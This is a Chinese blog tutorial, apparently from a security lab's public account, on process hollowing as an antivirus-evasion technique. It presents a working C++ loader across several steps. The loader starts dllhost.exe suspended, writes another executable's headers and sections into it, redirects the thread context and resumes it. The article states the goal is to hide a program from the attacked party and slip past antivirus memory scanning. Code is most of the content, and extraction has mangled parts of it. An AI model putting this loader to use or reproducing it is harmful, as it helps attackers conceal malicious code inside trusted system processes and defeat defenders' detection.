1前言
目前的免殺技術(shù),常規(guī)的進(jìn)程執(zhí)行很容易被受攻擊方發(fā)現(xiàn),為了盡可能的隱藏自己,在不利用驅(qū)動(dòng)或者漏洞的情況下我們有用到的技術(shù)很少,這次我們就來講一種可以在3環(huán)達(dá)到進(jìn)程隱藏的方法,進(jìn)程鏤空(傀儡進(jìn)程)。
這種技術(shù)雖然很久之前就有了,但是和其他的免殺技術(shù)相結(jié)合會(huì)達(dá)到很不錯(cuò)的效果。
這種技術(shù)的好處是可以將我們想執(zhí)行的程序偽裝成系統(tǒng)進(jìn)程或者有簽名無檢測(cè)的白名單進(jìn)程,從而繞過殺軟的內(nèi)存檢測(cè)。
2實(shí)現(xiàn)思路
如何去實(shí)現(xiàn)這個(gè)傀儡進(jìn)程,我們就要知道進(jìn)程創(chuàng)建后的步驟是在干什么,進(jìn)程創(chuàng)建后會(huì)在內(nèi)存空間進(jìn)行拉伸PE,那么這一步就是我們達(dá)到偽裝的關(guān)鍵一步。如果我們將這一步拉伸的PE修改成我們自己的PE是不是拉伸的就是我們自己的程序,從而執(zhí)行我們自己的程序。
3執(zhí)行流程
創(chuàng)建一個(gè)掛起的進(jìn)程
這里如果不是掛起狀態(tài),程序就執(zhí)行起來了,那么我們就沒有足夠的時(shí)間去替換他要執(zhí)行的PE了。
獲取線程上下文
這里獲取上下文的主要目的是作用于修改寄存器,在我們后續(xù)的操作后要去修改。
替換PE信息
將我們上面的實(shí)現(xiàn)思路里最重要的一步在掛起進(jìn)程后去執(zhí)行,這樣進(jìn)程還沒執(zhí)行完成我們可以完成替換。
修改線程上下文
修改寄存器讓執(zhí)行的內(nèi)存發(fā)生改變,修改到我們替換的PE信息。讓程序自身的去解析我們替換的PE結(jié)構(gòu)。
恢復(fù)線程
恢復(fù)線程,讓程序執(zhí)行起來,完成我們的因此。
4實(shí)操順序
寫一個(gè)自己的程序 Demo.exe
#includeintmain(void) { MessageBoxA(nullptr, "我是一個(gè)demo程序", "信息:", MB_OK); return0; }
這就是一個(gè)很簡(jiǎn)單的程序,我們來編譯執(zhí)行一下。
可以明顯的看到這里有我們執(zhí)行的程序進(jìn)程信息,這樣我們就很容易被發(fā)現(xiàn)。那么下面我就就要去看怎么去隱藏掉這個(gè)進(jìn)程了。步驟會(huì)很多我會(huì)分步驟去寫,讓大家可以跟著步驟去完成這一效果。
加載器實(shí)現(xiàn)流程
創(chuàng)建進(jìn)程
創(chuàng)建一個(gè)系統(tǒng)進(jìn)程或者白名單進(jìn)程再或者你想要讓你的進(jìn)程偽裝的進(jìn)程,這里我們以32位進(jìn)程去演示,我們?nèi):WindowsSysWOW64這個(gè)目錄下隨便去找一個(gè)進(jìn)程即可,這里我就選擇dllhost.exe
這里我們?cè)趧?chuàng)建個(gè)項(xiàng)目去寫另外的代碼,demo程序就不要去改動(dòng)了。
load 右鍵屬性 -> 配置屬性 -> 鏈接器 -> 系統(tǒng) -> 子系統(tǒng) 改為窗口 不然后面會(huì)報(bào)0xC0000142錯(cuò)誤 (這里可以寫完所有的代碼再去操作 窗口程序不利于我們?nèi)ポ敵鲂畔?
#include#include //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進(jìn)程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ?? ??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫) ??TerminateProcess(pi.hProcess, -1); ??std::cout?<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
這里我們就已經(jīng)以掛起的方式去創(chuàng)建了一個(gè)進(jìn)程,怎么樣去看我們的進(jìn)程是否為掛起呢?我們?nèi)蝿?wù)管理器可以看到。
讀取我們需要真正執(zhí)行的exe
#include#include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進(jìn)程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結(jié)束之前的進(jìn)程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請(qǐng)內(nèi)存保存Exe字節(jié)碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請(qǐng)的緩存區(qū) ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關(guān)閉文件 ??CloseHandle(hFile); ?? ??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫) ??TerminateProcess(pi.hProcess, -1); ??std::cout?<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
可以看出來我們需要執(zhí)行的exe已經(jīng)被我們加載到我們內(nèi)存當(dāng)中。
替換PE
#include#include #include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進(jìn)程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結(jié)束之前的進(jìn)程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請(qǐng)內(nèi)存保存Exe字節(jié)碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請(qǐng)的緩存區(qū) ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關(guān)閉文件 ??CloseHandle(hFile); ??// 解析PE ??// 獲取dos頭 ??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image; ??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ { TerminateProcess(pi.hProcess, 1); return1; } // 獲取nt頭 PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew); // 獲取線程上下文 CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); // 獲取模塊基質(zhì) ULONG_PTR base; ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL); // 在默認(rèn)基質(zhì)下申請(qǐng)內(nèi)存并且 設(shè)置屬性為讀寫執(zhí)行 LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(!mem) { TerminateProcess(pi.hProcess, 1); return1; } // 替換PE頭 WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL); for(inti = 0; i < nt->FileHeader.NumberOfSections; i++) { // 獲取節(jié)表 寫入節(jié)表 PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL); } // 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫) TerminateProcess(pi.hProcess, -1); std::cout<< "process exit!!!!!!!"?<< std::endl; ??std::cin.get(); ??return?0; }
GetThreadContext是什么意思呢?獲取線程上下文,我們這時(shí)候用調(diào)試器附加一下dllhost看下我們獲取的是什么東西。主要獲取的就是目前的寄存器的值。后續(xù)我們需要讀寫這個(gè)值,從而達(dá)到執(zhí)行我們自己的PE信息。
開始替換PE頭 我們可以注意一下寫入了什么。
這里是替換節(jié)區(qū)。
走到這里就說明我們的PE已經(jīng)被完全替換了,那么我們需要給他替換一下寄存器才能讓他執(zhí)行起來。
設(shè)置線程上下文,恢復(fù)線程
ebx+8的位置本身存放的是原來默認(rèn)的PE,我們這里給他替換成我們申請(qǐng)內(nèi)存的PE,然后恢復(fù)線程基本就完成了我們的隱藏。
#include#include #include #defineEXE_PATH R"(C:UsersadminDesktopcode傀儡進(jìn)程Debugdemo.exe)" //int CALLBACK WinMain( // HINSTANCE hInstance, // HINSTANCE hPrevInstance, // LPSTR lpCmdLine, // int nCmdShow //) intmain(void) { // 獲取 32位dllhost.exe路徑 charpickerHostPath[MAX_PATH] = { 0}; ExpandEnvironmentStringsA("%SystemRoot%\SysWOW64\dllhost.exe", pickerHostPath, MAX_PATH); // 打開進(jìn)程 STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = { 0}; if(!CreateProcessA(NULL, pickerHostPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // 掛起形式創(chuàng)建 { return-1; } std::cout<< "process pid:"?<< pi.dwProcessId << std::endl; ??std::cin.get(); ??// 打開文件 ??HANDLE hFile = CreateFileA(EXE_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); ??if?(hFile == INVALID_HANDLE_VALUE) ??{ ????// 打開失敗結(jié)束之前的進(jìn)程 ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 獲取文件的大小 ??DWORD nSizeOfFile = GetFileSize(hFile, NULL); ??std::cout?<< "file size:"?<< nSizeOfFile << std::endl; ??// 申請(qǐng)內(nèi)存保存Exe字節(jié)碼 ??char* image = (char*)VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ??// 把文件讀取到我們申請(qǐng)的緩存區(qū) ??DWORD read; ??if?(!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) ??{ ????TerminateProcess(pi.hProcess, 1); ????return?-1; ??} ??// 關(guān)閉文件 ??CloseHandle(hFile); ??// 解析PE ??// 獲取dos頭 ??PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image; ??if?(dos->e_magic != IMAGE_DOS_SIGNATURE) // 判斷是否為MZ { TerminateProcess(pi.hProcess, 1); return1; } // 獲取nt頭 PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(image + dos->e_lfanew); // 獲取線程上下文 CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); // 獲取模塊基質(zhì) ULONG_PTR base; ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &base, sizeof(ULONG_PTR), NULL); // 在默認(rèn)基質(zhì)下申請(qǐng)內(nèi)存并且 設(shè)置屬性為讀寫執(zhí)行 LPVOID mem = VirtualAllocEx(pi.hProcess, (PVOID)(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(!mem) { TerminateProcess(pi.hProcess, 1); return1; } // 替換PE頭 WriteProcessMemory(pi.hProcess, mem, image, nt->OptionalHeader.SizeOfHeaders, NULL); for(inti = 0; i < nt->FileHeader.NumberOfSections; i++) { // 獲取節(jié)表 寫入節(jié)表 PIMAGE_SECTION_HEADER sec = (PIMAGE_SECTION_HEADER)((LPBYTE)image + dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)mem + sec->VirtualAddress), (PVOID)((LPBYTE)image + sec->PointerToRawData), sec->SizeOfRawData, NULL); } // 修改寄存器 ctx.Eax = (SIZE_T)((LPBYTE)mem + nt->OptionalHeader.AddressOfEntryPoint); WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &nt->OptionalHeader.ImageBase, sizeof(PVOID), NULL); SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); WaitForSingleObject(pi.hProcess, -1); std::cout<< "進(jìn)程隱藏執(zhí)行完成"?<< std::endl; ?? ??// 結(jié)束進(jìn)程(調(diào)試的時(shí)候方便一下 可以不寫) ??// TerminateProcess(pi.hProcess, -1); ??// std::cout << "process exit!!!!!!!" << std::endl; ??// std::cin.get(); ??return?0; }
修復(fù)執(zhí)行錯(cuò)誤
這里我們可以看到提示了錯(cuò)誤框,我們修改下子系統(tǒng)。
intCALLBACKWinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, intnCmdShow ) 子系統(tǒng)改為窗口后 main函數(shù)需要改成WinMain
完畢
可以看到我們進(jìn)程運(yùn)行起來了,那么我們看看這個(gè)進(jìn)程是什么。
從線程里面可以看出,我們是從這個(gè)dllhost里面去執(zhí)行的我們的程序,那么我們看下是不是找不到我們?cè)瓉淼倪M(jìn)程了。
可以看到這里已經(jīng)確定沒有demo.exe,至此我們的隱藏進(jìn)程實(shí)現(xiàn)完成。
5總結(jié)
隱藏的時(shí)候需要提前找到一個(gè)載體。
我們目前通過的是讀取文件獲取我們demo的exe,可以提前獲取好,放到我們的內(nèi)存中,這樣更隱蔽。
需要注意main函數(shù)和winmain,main函數(shù)會(huì)報(bào)錯(cuò)
-
內(nèi)存
+關(guān)注
關(guān)注
8文章
2966瀏覽量
73814 -
程序
+關(guān)注
關(guān)注
116文章
3756瀏覽量
80754
原文標(biāo)題:免殺技術(shù)進(jìn)程隱藏
文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論